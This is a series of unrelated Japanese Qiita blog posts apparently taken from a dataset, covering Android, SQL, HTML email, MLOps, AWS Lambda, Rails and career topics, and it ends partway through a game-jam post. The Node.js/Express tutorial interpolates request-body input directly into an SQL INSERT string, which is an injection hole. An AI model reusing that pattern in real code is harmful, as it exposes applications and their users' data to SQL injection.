OmniAICreator/Qiita-1.07M huggingface dataset:
Jetpack Composeで自動スクロールするカルーセルを実装する

Jetpack Compose の Pager を使って自動で動くカルーセルを実装するときの例になります。
(Jetpack Compose BOM 2022.12.00 & Accompanist v0.28.0 での実装です)

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/126298/299ffaab-02bd-2006-9f2e-d91c468eccb8.gif" width="400px"/>

#### 実装例


```kotlin
@Composable
fun rememberAutoScrollPagerState(
    interval: Long,
    initialPage: Int = 0,
): PagerState {
    val lifecycleOwner = LocalLifecycleOwner.current
    val pagerState = rememberPagerState(initialPage = initialPage)
    var refreshCount by remember { mutableStateOf(0) }
    val isScrolling = pagerState.isScrollInProgress

    LaunchedEffect(refreshCount) {  // ③
        runCatching {
            val target = pagerState.currentPage + 1
            pagerState.animateScrollToPage(
                if (target >= pagerState.pageCount) {
                    0
                } else {
                    target
                }
            )
        }
    }
    LaunchedEffect(isScrolling) { // ①
        lifecycleOwner.repeatOnLifecycle(Lifecycle.State.RESUMED) {
            if (!isScrolling) {
                delay(interval)
                refreshCount++  // ②
            }
        }
    }
    return pagerState
}

```

このような Composable 関数を用意しておき、あとは Pager を実装する時に組み込むだけです。

```kotlin
@Composable
fun CarouselBanners(
    modifier: Modifier = Modifier,
) {
    // Line this
    val state = rememberAutoScrollPagerState(
        interval = 2000,
    )
    HorizontalPager(
        count = 10,
        state = state,
        modifier = modifier,
    ) { index ->
        Item(...)
    }
}
```



#### 解説
① の `LaunchedEffect` でスワイプによる移動やコードからのページ送りがされたタイミングで処理が呼ばれるようにして、② でページ送りがされてスクロールが停止したタイミングでページ送りの処理をトリガーさせます。
トリガーされたページ送りの処理を ③ の `LaunchedEffect` が処理して実際にページを移動させます。
`LaunchedEffect` を 1 つだけで制御しようとすると `LaunchedEffect` に渡す key が変わると内部の処理がキャンセルされる挙動のおかげで `animateScrollToPage` が途中でキャンセルされたりするため、スクロールの処理とページ移動のトリガーを分離する必要があります。



<hr />

`LaunchedEffect` はシンプルが故に少しのパズルが必要になる場合がありますが、 駆使することでこのような自動で動くカルーセルも簡単に実装できます。
「’」が入った文字列があるときのSQLの書き方

# 前提として
| NUMBER | NAME |
|:-:|:-:|
| 1  | Tom  |
|  2 |  Jennifer |
|  3 |  O'neal |
|  4 |  Jerry |

こんなデータベースがあったとして勉強していきましょう

# 問題

あなたはO'nealさんの情報だけ見たいです。

普通に考えたら、
```
select * from 表 where name='O'neal';
```
となりますよね。

#### ですが!!
![スクリーンショット_20221212_154411.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2986347/ec33cfa6-296c-9dcb-eeda-76fe74a27a69.png)
Oracleだとこんなエラーが出て来てしまいました！

# 解決法
- 二つの「'」をつづけて書く（”ではない！）
```
select * from 表 where name='O''neal';
```
- **代替引用メカニズム**を使用する
何言ってんのですよね(笑)
まぁ、単語は難しいですがやってることは簡単です
`初め：q'と任意の文字`
`終わり：任意の文字と'`を書くだけ!!
```
select * from 表 where name= q'|O'neal|';
```
とか、
```
select * from 表 where name= q'#O'neal#';
```
はたまた、
```
select * from 表 where name= q'{O'neal}';
```
こんなのとか

## これでやってみた結果…
![スクリーンショット_20221212_164319.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2986347/55906ddc-e98c-e03a-4298-6f3fac2b5630.png)
はい！うまく取り出せました!!
これでうっとおしいあの子も一件落着!!
Solidityの勉強会を開催します

# はじめに
忙しい人向けに簡単に説明します。
1月にSolidityの勉強会やります、無料です。
場所は大阪になります。オフラインです。
詳しくは下記リンクをご参考ください。

https://www.sansokan.jp/events/eve_detail.san?H_A_NO=39342

# 経緯
色々関わりのあった大阪の産業局の方の紹介で、 [ソフト産業プラザTEQS](https://teqs.jp/)と言うところで開催される運びとなりました。
[簡単な教科書](https://docs.google.com/document/d/1pMvOjOf3MKUcb2UQuU3JPWZidI1zmsHHkW0uDUFjHDM/edit)も作成していますので、忙しくて来れない方もご参考にしていただければ幸いです。
当日は現地まで車で行くと思うのですが、悪名高い阪神高速を運転が下手な人間が必死に車線変更して向かうことになるので、命に別状がないことを祈ってください。

ではまた。
【T】table要素をレイアウトのために使う

本来の使い方ではないから今までやったことなかったんだけど、現役でこの手法が使われている現場に足を突っ込んでしまったのであえて挑戦。

## table要素とは？

https://developer.mozilla.org/ja/docs/Web/HTML/Element/table

安心と信頼のMDN web docs
本来は「表を作るための要素」です。

## table要素をレイアウトのために使うには？

table要素はwidthやheightなどの属性指定で枠をかなり自由に組めます。
tableのセルに様々な要素を入れることで、webページをレイアウトします。

感覚的な面だとExcelのセルにいろんな要素を配置する感じな気がする。
(列の大きさは自由に変えられるし、セル結合もあるし)

こういう使い方を「レイアウトテーブル」とか「テーブルレイアウト」とか言ったりするようです。
個人的にはtable自体を前者、手法を後者で呼び分けたい。

## なぜtable要素でレイアウトを組むの？

https://developer.mozilla.org/ja/docs/Learn/HTML/Tables/Basics#html_%E3%81%AE%E8%A1%A8%E3%82%92%E4%BD%BF%E7%94%A8%E3%81%99%E3%82%8B%E3%81%B9%E3%81%8D%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84%E5%A0%B4%E9%9D%A2

正確には「組んでいたの？」かもしれない。

現在はflexboxとかgridとかがあるように、デザイン面はCSSに任せるのが一般的です。
仕様的にも、HTMLは文書の"構造"を、CSSは文書の"デザイン"を担当するように棲み分けが行われています。

> strikeタグのようなただ装飾を加えるだけの意味を持つ要素が非推奨になっているのはこのためです。
> [bタグ](https://developer.mozilla.org/ja/docs/Web/HTML/Element/b)とか[iタグ](https://developer.mozilla.org/ja/docs/Web/HTML/Element/i)とかは「Bring attention」と「Idiomatic」とかいうそれっぽい意味をこじつけられて復活してますけどね……

しかし、昔はブラウザーのCSS対応が悲惨だったせいでCSSが信用されておらず、しょうがないので枠組みができるtable要素を使っていました。
今ではCSS対応の状況も良くなっているので新たにwebページを作るならCSS使って組んだほうがいいと思います。

## 今ではどこで使われているの？

いや、使われてないと思ってたんですけど
HTMLメールの現場ではまだまだCSS対応が悲惨なようです。つまりテーブルレイアウトの出番となるわけです。

なんか幅600pxを指定している作例を見かけたのでもしかしたらこれが慣例なのかもしれません。

## どうやって使うの？

MDNを見つつ作例で察してください。

テーブルレイアウトのテンプレを用意しました。もともと僕が使うために作ったものですが使えると思うので公開します。
著作権は放棄しないですが公序良俗に反しない限り誰でも自由に使えます。(詳細な規約は[こちら](https://axtech.dev/license/)を参照)

https://github.com/AyaExpTech/AXT-HTMLmail-TableLayout

先述したとおり、Excelのセルに要素をぶち込む感覚に似ています。

- セル結合は`rowspan`, `colspan`の各属性で結合するセル数を指定
- セルの幅は`width`, `height`の各属性でpxを数だけ指定
- HTMLメールの場合でもタグに直接CSSを書くやつはある程度読んでくれます
MLOpsにおけるAPIマネジメントについて

MLOpsは、機械学習モデルのライフサイクル管理を行うためのアプローチです。APIマネジメントは、機械学習モデルを外部のシステムやサービスから利用するためのAPIを管理することを指します。

MLOpsにおいてAPIマネジメントは、機械学習モデルを実際のビジネスシナリオで使用するための重要な技術です。 APIマネジメントにより、機械学習モデルを容易に接続し、利用することができるようになります。

また、APIマネジメントにより、機械学習モデルを管理することが可能になります。これには、機械学習モデルの性能を継続的にモニタリングし、必要に応じて修正やアップデートを行うことが含まれます。

APIマネジメントにより、機械学習モデルを安全かつ効率的に利用することができるようになります。例えば、アクセス制御や権限の管理などを行うことができます。

以上が、MLOpsにおけるAPIマネジメントについての簡単な概要です。
MLOpsのメリットと注意点について

MLOpsとは、機械学習（Machine Learning）プロジェクトをデプロイする際に必要となる、データサイエンスとDevOpsのテクノロジーを組み合わせたアプローチのことです。

MLOpsを採用することにより、以下のようなメリットがあります。

1. モデルのトレーニングからデプロイまでを一貫して管理できるため、デプロイが安定し、品質が保証されます。
2. モデルのトレーニング環境を標準化することで、結果の精度が向上します。
3. モデルのトレーニング環境を自動化することで、効率的な開発が可能になります。
4. モデルのデプロイを自動化することで、高い可用性を実現できます。
一方で、MLOpsを採用する際には注意する点がいくつかあります。

注意点としては以下のとおりです。
1. MLOpsを採用するためには、DevOpsの技術や経験が必要です。
2. モデルのバリデーションとテスト: MLOps パイプラインでは、モデルを適切に検証し、正しく動作するかどうかを確認する必要があります。これは、実際に用いるデータセットを用いて行うべきです。
3. モデルのトレーニング環境を標準化することで、モデルの精度が低下する可能性があります。
4. モデルの構造とパフォーマンスの理解: MLOps チームは、モデルの構造を理解し、そのパフォーマンスを分析し、改善することができるようにしなければなりません。
5. モデルのデプロイとスケーリング: MLOps チームは、モデルを適切な環境にデプロイし、スケーリングし、適切に管理することができるようにしなければなりません。
プログラミングの質問でのNGパターン (StackOverflow Terateilなどのオンラインで)

# コードブロックを使わない

地のテキストでコードを書いてしまう。大変読みづらい。

# 質問文がガタガタ

質問文を見返すことがないのか、回答者が読みづらい状態でも気にしない。

# コードを画像で載せる

コードを再利用できない。
回答者が問題を再現するためには画像から写経するしかない。

コードはテキストで載せよう。

# コードを載せない

全部文章で説明してしまう。

例:

「Railsを利用しております。コントローラーからモデルを参照したところidを渡す部分でエラーが出てしまいます。idに固定値を渡したところOKと返ってきます。コントローラのメソッドを削除したところ別のエラーになりました。どなたか分かる方いますでしょうか(コード例なし)」

# 具体的なエラーを載せない

「うまくいきません」しか書かない。

- エラーが起こるタイミング
- エラーの内容

を記載しよう。

# やりたいことを書かない、丸投げ

「以下のコードが動きません、お願いします」

(1000行のコードが続く)

できれば問題が再現する最小限のコードにまで落とし込んで質問してほしい。

# コードをシンタックスハイライトしない

できればしてほしい。

# 質問タイトルが曖昧

例: 「pythonについて」


# XY問題

https://ja.wikipedia.org/wiki/XY%E5%95%8F%E9%A1%8C

>XY問題とは「質問者が、本当に解決したい課題Xについて直接聞くのではなく、Yという二次的な課題を解決する方法を聞く」ことによって発生するコミュケーション上の問題を指す語である。これはヘルプデスクや技術サポート、ソフトウェア工学、カスタマーサービスなどの現場でしばしば見られる。
>質問者はYによってXを解決することができると考えているが、しかし、Yを解決してもXは解決しないか、またはYは解決方法としては不十分であることが多い。本質的な課題を曖昧にしたり二次的な問題を持ち込んだりすることは、回答者に不要な苦労をさせたり、または不十分な解決方法が示されることにつながる。


# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ


# Twitter

https://twitter.com/YumaInaura
エンジニア採用において「会ってみたいと思える人」と「書類で落とされる人」の違いは？

現在、エンジニアとして働きながら、自社の採用にも関わっているのですが、
せっかく応募してきてるのに書類が雑でもったいないと思うことが多々あるので、
ちょっと語りたいと思います。

## 転職の応募はして欲しい。でも、採用活動は効率的にやりたい。

IT業界で働いている人なら分かると思うのですが、この業界、基本的に業務は常に忙しいです。
（もっとも、この業界に限らないと思いますが。。。）
ですので、新しい人にはどんどん入ってほしいです。
一方で忙しいので、なるべく採用活動には時間はかけたくないです。

採用面接は1回あたり30〜60分かかり、かつ、時間を相手に合わせないといけないです。
しかも、面接前に履歴書をチェックしたり、日程調整をしたりとなると、単純な面接時間の倍くらいは時間を使うことになります。

私は人事ではないので、業務の合間にやることになり、どうしても使える時間が限られてきます。
つまり何が言いたいかというと、時間の関係で応募者に全員会えるわけでもなく、書類でNGになる人が発生します。書類の時点で会ってみたいと思えない人は、申し訳ないけど落とします。
たぶん、他の会社の採用もそうだと思います。

## どういう人に会ってみたいと思うか

ということで、書類審査というものはそれなりに重要で、面接官に会ってみたいと思わせる必要があります。
私の場合、以下のような事が書類から読み取れれば、「会ってみたい！」となります。

- エンジニアとしての実力がある
- 将来的に実力をつけて活躍してくれる

転職ということは中途採用です。基本的に即戦力が求められます。
即戦力にならなくても、活躍してもらえそうと思える下地は必要です。

輝かしい実績がある人は、その実績を書けばよいでしょう。
嘘っぽいとかアピール力が足りないということがなければ、問題ないでしょう。

しかし、アピールできるほどの実績を残している人ばかりではないと思います。
いまの会社では実績を残せるとは思えないから転職活動している人もいるでしょう。
別業種からエンジニアに転職したい人もいるでしょう。

では、どうすればよいか？


## やりたいことをアピールしよう

履歴書や転職サイトのプロフィールに、転職したら何をやりたいかを書きましょう。
今までやってたことは書いていても、**これから何をやりたいか**を書いてない人が、なぜか多いです。
転職を考えてる人って、基本的に今の環境に不満があって、他にやりたいことがあると思うんですよね。
なのに、今までのことだけを書いても意味なくないですか？

ですので、

- 自分は今、何がやりたいのか
- どんな技術に興味があるのか
- どんな勉強をしているのか

を、書いてくれると、採用する側からすると、とても参考になります。

エンジニアは、常に新しい技術をアップデートしないといけなく、常に勉強が必要な職業です。
興味が無いことの勉強を続けるのはかなりツライですので、
「興味がある」 -> 「勉強してくれる(と思う)」 -> 「実力をつけて活躍してくれる(と思う)」
というのは、かなり大きなアピールポイントになります。

個人的には、履歴書で一番しっかり読むのは志望理由ですね。「会社の理念に共感して〜」とかはどうでもいいですが、入社後に何やりたいかがはっきりしている方は、採用を積極的に進めたいです。
職務経歴のほうが大事だと思っているのか、なぜかエンジニアの中途採用って志望理由を雑にしか書いてないことが多いんですよね。それって確実に損してますよ。

## 技術力をアウトプットをしよう

「興味がある」ことをアピールしようと書きました。
しかし、それだけでは「実力をつけて活躍してくれる」根拠としては弱いです。世の中には口だけの人が多いですから。
では、どうするか。興味のあることを少しでも勉強して、アウトプットしましょう。
調べたことを技術記事を書いたり、実際にコーディングしたものをGitHubに上げたりですね。
そして、そのURLを転職サイトのプロフィール欄や履歴その備考に貼っておきましょう。

実際にやったことは、確実にその人の力になっているはずなので、
そういった記事やGitHubのリポジトリは強力な自己PRになります。

## まとめ

とりあえず、書類審査の時点で下記を書いておくと、良いです。
少なくとも私が見た場合の通過率は上がります。

- やりたいことをアピールする
- 技術記事を書いたりGitHubにコードを上げて、URLを貼っておく


## 会社の宣伝

記事は以上になりますが、
エンジニア募集をしているので、応募をお待ちしています。
https://ncdc.co.jp/recruit/
https://www.green-japan.com/company/5693
MLOpsにおける最新のツールについて

MLOpsとは、機械学習モデルの開発から運用までを統合的に管理することを指します。そのためには、様々なツールが用いられます。

最近、注目を集めているMLOpsツールとしては、Kubeflowが挙げられます。Kubeflowは、Kubernetes上での機械学習ワークフローを簡単に構築、管理するためのオープンソースプラットフォームです。Kubeflowを利用することで、モデルの開発、トレーニング、デプロイ、モニタリングなどを効率的に行うことができます。

また、MLFlowというツールも最近人気があります。MLFlowは、機械学習のライフサイクル全体を管理するためのオープンソースプラットフォームです。MLFlowを利用することで、モデルの訓練、デプロイ、管理、およびモニタリングを行うことができます。

さらに、DVCというツールも注目を集めています。DVCは、データサイエンスのワークフローを管理するためのオープンソースツールです。DVCを利用することで、データの管理、共有、およびリポジトリの同期を行うことができます。
LambdaでCognitoユーザプールのSub情報からCognitoのユーザを削除する

# 概要
  Lambdaでsub情報からCognitoのユーザーを削除する方法を紹介します。

# 環境
  - ランタイム：Python3.9
  - リージョン：ap-northeast-1

# Lambda関数
```Python
import boto3

cognito = boto3.client('cognito-idp', region_name='ap-northeast-1')
user_pool_id = <ユーザープールのID>

def get_cognito_user_name(sub):
    response = cognito.list_users(
        UserPoolId=user_pool_id,
        Filter='sub = "' + sub + '"'
    )
        
    user_name = response["Users"][0]['Username']

    return user_name

def delete_cognito_user(user_name):   
    response = cognito.admin_delete_user(
        UserPoolId=user_pool_id,
        Username=user_name
    )

def lambda_handler(event, context):
    sub = <sub値>

    # ユーザー名の取得
    user_name = get_cognito_user_name(sub)

    # Cognitoからユーザーを削除する
    delete_cognito_user(user_name)

    return "Success"
```

# 必要なIAM権限
  - cognito-idp:AdminDeleteUser
  - cognito-idp:AdminGetUser
  - cognito-idp:ListUsers

# 実行例
  - Cognitoユーザープールにテストユーザーを作成します。
  ![cognito-user.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/45d633a1-1952-4d0a-9b7f-fa81c077bace.png)

  - Lambdaを実行します。
  ![実行結果.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/410cfb12-cec8-5531-30fd-63d648b0d786.png)

  - Cognitoでユーザーが削除されたことを確認できました。
  ![スクリーンショット 2022-12-12 161436.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/12732379-68d7-5394-2918-99e8a28cfefb.png)
プリザンターのリンクされたレコード一覧の並び替えとフィルタ

本記事は [OSSのノーコード・ローコード開発ツール「プリザンター」 Advent Calendar 2022](https://qiita.com/advent-calendar/2022/pleasanter) 13日目の記事です。

# はじめに
[プリザンター](https://pleasanter.org) では、マスタレコードにリンクされた子レコードの一覧を表示できますが、この一覧の並び替えやフィルタを実現する方法を説明します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78230/fb3c89ba-f237-6332-da60-804ddcf1f3ff.png)


## テーブルの設定
テーブルは「マスタ」テーブルと「トランザクション」テーブルを使用しています。「マスタ」を親テーブルとし「トランザクション」の「分類A」で関連付けを行いました。各テーブルのサイトIDは下記のとおりです。

|テーブル名|サイトID|
|:----|:----|
|マスタ|535|
|トランザクション|536|

## サーバスクリプトによる制御
「トランザクション」テーブルに下記のサーバスクリプトを設置します。条件は「ビュー処理時」にチェックを入れます。スクリプトがマスタレコード上で動作するよう、サイトIDが535のときにソートとフィルタがおこなわれるようにします。

```JavaScript
// サイトIDがマスタのサイトIDかチェック
if (context.SiteId === 535) {
    // タイトル項目で昇順ソート
    view.Sorters.Title = 'asc';
    // 分類Bの内容が「有効」のものでフィルタ
    view.Filters.ClassB = '[\"有効\"]';
}
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78230/109a0e29-8d6a-7944-f44d-9e71d3969258.png)

## 実行結果
下記のように「タイトル」でソートが行われ「有効/無効]の列の「有効」だけが表示されるようになりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/78230/52259c1f-3d4c-bb5d-cc37-0b02d09dd7ab.png)

## 関連情報
サーバスクリプトのview.Sorters
https://pleasanter.org/manual/server-script-view-sorters
サーバスクリプトのview.Filters
https://pleasanter.org/manual/server-script-view-filters
Node.js+expressでリクエストボディを取得

[前回の記事でnodeからmysql接続してデータ登録をしたので](https://qiita.com/buto/private/2cfbd1a6e53d87ad11be)今回はAPIリクエストボディにセットした値でデータ登録をするようにします

## リクエストボディを取得するコード
npmやyarnで `body-parser` をインストールしてください
`req.body` でリクエストボディが取得できます

```js
// リクエストボディ取得準備
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({
  extended: true
}));
app.use(bodyParser.json());

/**
 * ユーザー登録
 */
const registerUser = async(userName) => {
  await createConnection()
  const [result, filelds] = await client.query(
    `INSERT INTO users VALUES (0, '${userName}')`
  )
  await client.end()
  return result
}

/**
 * @Controller
 * ユーザー登録API
 */
app.post('/users', async(req, res) => {
  // リクエストボディ.nameプロパティの値を取得
  const result = await registerUser(req.body.name)
  res.send(result ? "ユーザー登録に成功しました" : "ユーザー登録に失敗しました")
})

app.listen(3000)
```

APIリクエストはこちら

```bash
curl --location --request POST 'http://localhost:3000/users' \
--header 'Content-Type: application/json' \
--data-raw '{"name": "operator"}'
```
Railsでdistinctとpluck/select連用する時ハマった件

# TL;DR

前後文に`distinct`が存在する(可能性がある)場合、`pluck`または`select`を使うとき、`id`(またはその他一意性識別子)を一緒に入れないと、場合によって見つかりにくいBugが発生します。

## OK:
```ruby
user.purchases.distinct.pluck(:id, :amount).map(&:last).sum
# または
user.purchases.distinct.select(:id, :amount).map(&:amount).sum
```

## NG:
```ruby
user.purchases.distinct.pluck(:amount).sum
# または
user.purchases.distinct.select(:amount).map(&:amount).sum
```

# 起因
仕事で開発を行なった通販システムで、ある日から「会員の購入金額の合計データを出力する」という要望がありました。
開発する際に、「購入金額の合計を取るには、わざわざ全件をインスタンス化しなくていいじゃない」と思い、下記のようなコードを書きました。

```rb
user.purchases.pluck(:amount).sum
```
開発環境で何件購入してみて、ちゃんと計算しているように見えたので、そのままPR出しました。
そして後日、営業側から、「今月システムの購入金額の統計と銀行の振込合計が合わない」との問い合わせが来ました。

# 分析
いろいろ調べた結果、`user.purchases`のスコープの中には`distinct`が存在していて、もしその後に`pluck/select`を繋いだ場合、`amount`に対して`distinct`を行うこととなっていることがわかりました。

```rb
# 見やすいために`distinct`を外に出します
user.purchases.distinct.pluck(:amount)
=> (4.8ms)  SELECT DISTINCT "purchases"."amount" FROM "purchases" WHERE "purchases"."user_id" = $1  [["user_id", 42]]
```

ログが示したように、`"purchases"."amount"`に対して`DISTINCT`を行うよう、SQLが発行されました。
開発した際、たまたま違う値段の商品を購入してテストを行なったため、このBugが露呈しませんでした。

また、`select`を使う時も同じです。

```rb
# 見やすいために`distinct`を外に出します
user.purchases.distinct.select(:amount)
=> Purchase Load (5.9ms)  SELECT DISTINCT "purchases"."amount" FROM "purchases" WHERE "purchases"."user_id" = $1  [["user_id", 42]]
```

# 解決方法
普段`distinct`を使う時、だいたいは`OR`などを用いた際の重複排除だと考えられます。
その際`DISTINCT`の対象は`"purchases".*`ですが、IDなど一意性の識別子がある場合、`pluck`や`select`にその識別子も一緒に入れれば、`DISTINCT`の誤爆を防げられます。

```rb
user.purchases.distinct.pluck(:id, :amount)
=> (4.1ms)  SELECT DISTINCT "purchases"."id", "purchases"."amount" FROM "purchases" WHERE "purchases"."user_id" = $1  [["user_id", 42]]
```

当然、戻り値は変わりますので、その辺は適宜に処理すれば目的達成となりますでしょう。
Airtableでenebularの使いどころ: メール送信編

今回はWebでの予約のタイミングでユーザにメール通知する事例です。

## なんだかんだ言ってNode-RED + Sendgridなどの組み合わせが最強

[Airtableでenebularの使いどころ: 販売在庫管理編](https://qiita.com/joeartsea/items/e4de07c2bef6721fe0fc)で利用したShopifyなどのWebショップ運営サービスにはメール通知機能がついています。AirtableのAutomationsにもメール送信機能があります。しかし、いずれも帯に短し襷に長しな点があります。

Webショップ運営サービスのメール送信機能は、Webショップ運営サービス上にあるデータしかメールに挿入できないという点が致命的です。サービスによってはカスタムフィールド的なものがありますが、結局外部のデータをカスタムフィールドに連携することになるので、それならもうAirtableを使うよね、というレベルになっちゃいます。

AirtableのAutomationsのメール送信機能は最も柔軟に使えるgmail連携が個別のgmailユーザのOAuth認可になってしまう点がすごく惜しくて、例えば自分のアカウントでOAuthすると自分がFromになってしまい受信箱に現れなくなってしまうんです。

そこで、AirtableのAutomaitionsのRun scriptでコールアウトして、Node-REDでSendgridなどメール送受信サービスを介してメール送信する、Webhook的なenebularの[クラウド実行環境](https://docs.enebular.com/ja/executionenvironment/overview)に構築します。

## レッスン予約が完了したらメールを送信する

すごくシンプルな例です。

1. Airtableで何らかのレッスンの予約を管理している
1. 最終的に人が確認して予約テーブルの「確定」チェックボックスをチェックする
1. ユーザに予約が確定した旨をメール送信する

これは以下のNode-REDフローをenebularの[クラウド実行環境](https://docs.enebular.com/ja/executionenvironment/overview)にHTTPドリガーとしてデプロイして、予約テーブルの「確定」チェックボックスがチェックされたタイミングで呼び出しています。

![スクリーンショット 2022-12-12 15.44.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/21109/09cb6613-33c4-c69d-9d6d-a0b27e79d9bb.png)

## レッスンの3日前と1日前にリマインドメールを送信する

こちらはレッスンの3日前と1日前にリマインドメールを送信します。

1. enebularの[クラウド実行環境](https://docs.enebular.com/ja/executionenvironment/overview)のスケジュールトリガーとして登録したフローを毎日定時に起動する
1. 起動したフローはAirtableの予約テーブルの「3日後のレッスン」と「1日後のレッスン」という2つのViewの予約データを取得する
1. 取得した予約データのユーザにリマインドメールを送信する

![スクリーンショット 2022-12-12 15.55.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/21109/30f111fe-83ce-3f76-49c1-6007705b89ae.png)

今回は上記2つだけの事例紹介ですが、こういった通知系フローは1つのプロジェクトで10〜20本くらいは必要になることが多いですね。こういう開発こそノーコード・ローコード開発が向いてると思います！
GCPのWorkflowsを導入しました

こんにちは、メグリ株式会社でデータ基盤の開発を担当している猿渡です。
今日はデータ基盤構成について記事を書きたいと思います。

メグリのデータ基盤はこれまでレガシーな仕組みで動作していました。
具体的には処理ステップ毎に実行時間を決めておいて、段階的に処理を進める（昔からよくある）形です。

* 1時にエクスポートファイルをGCPのCloudStorageへ転送
* 3時にマスタ同期ファイルをGCPのCloudStorageへ転送
* CloudStorage側ではファイルを定期的にポーリングして、並列度を上げすぎないように順次ETL処理
* 6時から集計処理

この形態ですと以下の欠点がありました。

* オーケストレーションの機能がないので、各ステップの関係性を可視化しにくい。またエラーが発生した場合に後続処理をどこまでやり直すべきか中身を知らないと判断できない
* 自動リトライの仕組みを入れるにしても、実装や判断基準が個別の処理毎に必要になる
* 並列処理数の管理も個別にやるしかない
* データが増えて処理時間が延びた場合にはスケジューラーの時間調整が必要になる

増え続けるデータに対して頑張って動いてくれてはいたのですが、特にリトライについては早朝に手作業での対応が発生しており、今回思い切って見直すことになりました。
で、幾つかサービスを検討した結果Workflowsを採用しています。
https://cloud.google.com/workflows

現在、開発環境で試験運用中ですが良かった点としては、

* Workflowsのコンソールから簡単にリトライできる
* 今まで使っていたFunctionsをほぼそのままコールできる（移行しやすい）
* 各ステップをオーケストレーションしてくれているので、関係性が分かりやすい
* ノーコード領域が増えて、コードのステップ数が減った
* 遅延再実行なども定義ファイルで全て解決できる
* イテレーション処理に柔軟性があり、並列度も容易に管理できる

とかなり満足しているのですが欠点がない訳ではなくて、

* 最初に少し学習時間が必要
* 定義ファイルが大きくなると見通しが悪くなる、異なる定義ファイルと設定を共通化しにくい
* Slackへエラー通知するオプションがない（ここは自前で実装しています）
* 定義ファイル変更時の自動テストがしにくい

といった課題がありました。
でも今のところメリットが十分に大きいです。

これが安価ですぐ使えるところが凄いですね...
AWSやGCPの発展スピードが速過ぎて、その他の競合ツールって今後厳しくなる一方なんじゃないかと、いらぬ心配をするくらいです。

どんどん進化していくサービスに遅れないように、今後もメグリのデータ基盤を成長させていきたいと思います！
QA職のキャリアについて考えてみた

# はじめに
早速ですが、QAをやっていると「給料が低くて...。」という悩みをよく聞きます。
未経験でも比較的始めやすい分、キャリアパスを描いておかないとすぐ頭打ちになって
このような悩みが出てくるのかもしれません。

というわけで、QA職のキャリアを考えるための、そしてあわよくば給料UPに繋がる！？
ためのヒントになれば幸いと思い、本稿を書きます。

:::note info
補足事項
・本稿では、テスト業務は「手動テストの設計・実行」を指す言葉として用います
・昨今のトレンドである「テスト自動化」には触れませんので、悪しからず
:::

:::note info
こんな人に向いているかも
・主に手動テストの設計・実行をされており、今後のキャリアに悩んでいる方
:::

# 結論から言うと
 **「テストから脱却してみよう」** ということになります。

仕事においては「自身の所属する組織に対して大きな成果（インパクト）をもたらす」人が重宝がられるように思います。
もちろん全てがそうとは言い切れませんし、職種によって求められるものは変わります。
が、4社を経験した筆者の体感的に、これができる人には大きな仕事が舞い込んで、昇給・昇進していくことが多い印象です。
QA・テスター職に対して、上述のような内容を人事評価項目に置く会社もありました。

では、テスト業務が組織に対して与えられる成果（インパクト）はというと...？
「欠陥の検出および、その修正機会の提供」といったところでしょうか。
その欠陥を検出・修正できたことが大きな成果になることはあるでしょう。（つまり、漏らしていたら大きな損害を招いていた）
とはいえ、組織に与えうるインパクトの上限値は、他の職種と比較するとちょっと低い...？ように感じます。筆者も今の現場で、テスト業務の傍ら業務フロー改善も行っているのですが、
前者で継続的に成果を出し続けるにはどこかで限界が来そうな気がしています。

ゆえに、テストから脱却していく必要があるのではないかと思うわけです。

# どうすればいい？
じゃあ、テストからの脱却って何？という話になりますね。
1つのアプローチが「プロダクトではなく、人・組織に目を向けていく」ことだと思っています。
若いころこのような教えを説いてくれた人がいて、筆者自身今でも心がけていることです。

テストとは、プロダクトの動作や性能をチェックするお仕事であることはご存じでしょう。
「意図した挙動になっていない」とか「欠陥が混入している」のは常にプロダクトです。
そこから、そのプロダクトを作っている「人や組織」に目線を向けることで
より大きなインパクトを出せるのではないでしょうか？。
具体的な例を挙げると、このようなものがあるかと。
* 不具合を分析し、業務フローの改善を提案
* QAメンバーの教育/トレーニングの実施
* エンジニアに向けて、品質向上の啓蒙
* QA外部署との良好な関係性の構築（他部署との関係構築は、テスト業務の生命線なので）

（話はそれますが、プロダクトの魅力を伝えるため自らがインフルエンサーとなり、
SNSでの動画配信に出演したQAメンバーを見たことがあります。これもある意味テストからの脱却かもしれませんｗ）

:::note info
これらの活動により「何をQAの成果として語れるのか？」は、これまた難しい問題です。本題の趣旨から外れてしまうので、これはまたの機会に...。
:::

品質という言葉は便利で、非常に良い建前になります（笑）その建前をうまく使って、
QAチーム外にも顔を出していくことで、あなたという人間の影響範囲を広げる。
そうすることで、「自身の所属する組織に対して大きな成果（インパクト）をもたらす」人に近づき、社内での評価や給料を上げていくことができるのではないか？と思うわけです。

:::note warn
ただし、これはテスト業務をおろそかにして良い、という話ではありません。
「欠陥を検出し、障害を未然に防いでくれている」という信頼があってこそ、
テスト業務を超えた取り組みが受け入れられることは忘れないでおきたいですね。
:::

# おわりに
今テスト業務に携わっていて、ご自身の今後に不安を抱いている方
あなたの業務・目線はプロダクトに向いていませんか？
もしそうなら、それを少しだけ「人」にシフトさせてみてください。
今までとは違った「やれること、やるべきこと」が見えてくるかもしれません。

それではまた！
unity1week「そろえる」の参加記録

# 初めに

[CYBIRD Advent Calendar 2022](https://qiita.com/advent-calendar/2022/cybird)
15日担当の@kanachaです
女性向け恋愛シミュレーションゲームのアプリ開発・保守をしております。アドベントカレンダーには久々の参加です
14日は(@cy-naull)さんの[面倒な手作業をシェルスクリプトに任せる](https://qiita.com/cy-naull/private/ee7bb3a88b1fd13562bd)でした

# unity1weekとは
https://unityroom.com/unity1weeks
Unityを使って1週間でゲームを作るイベントです
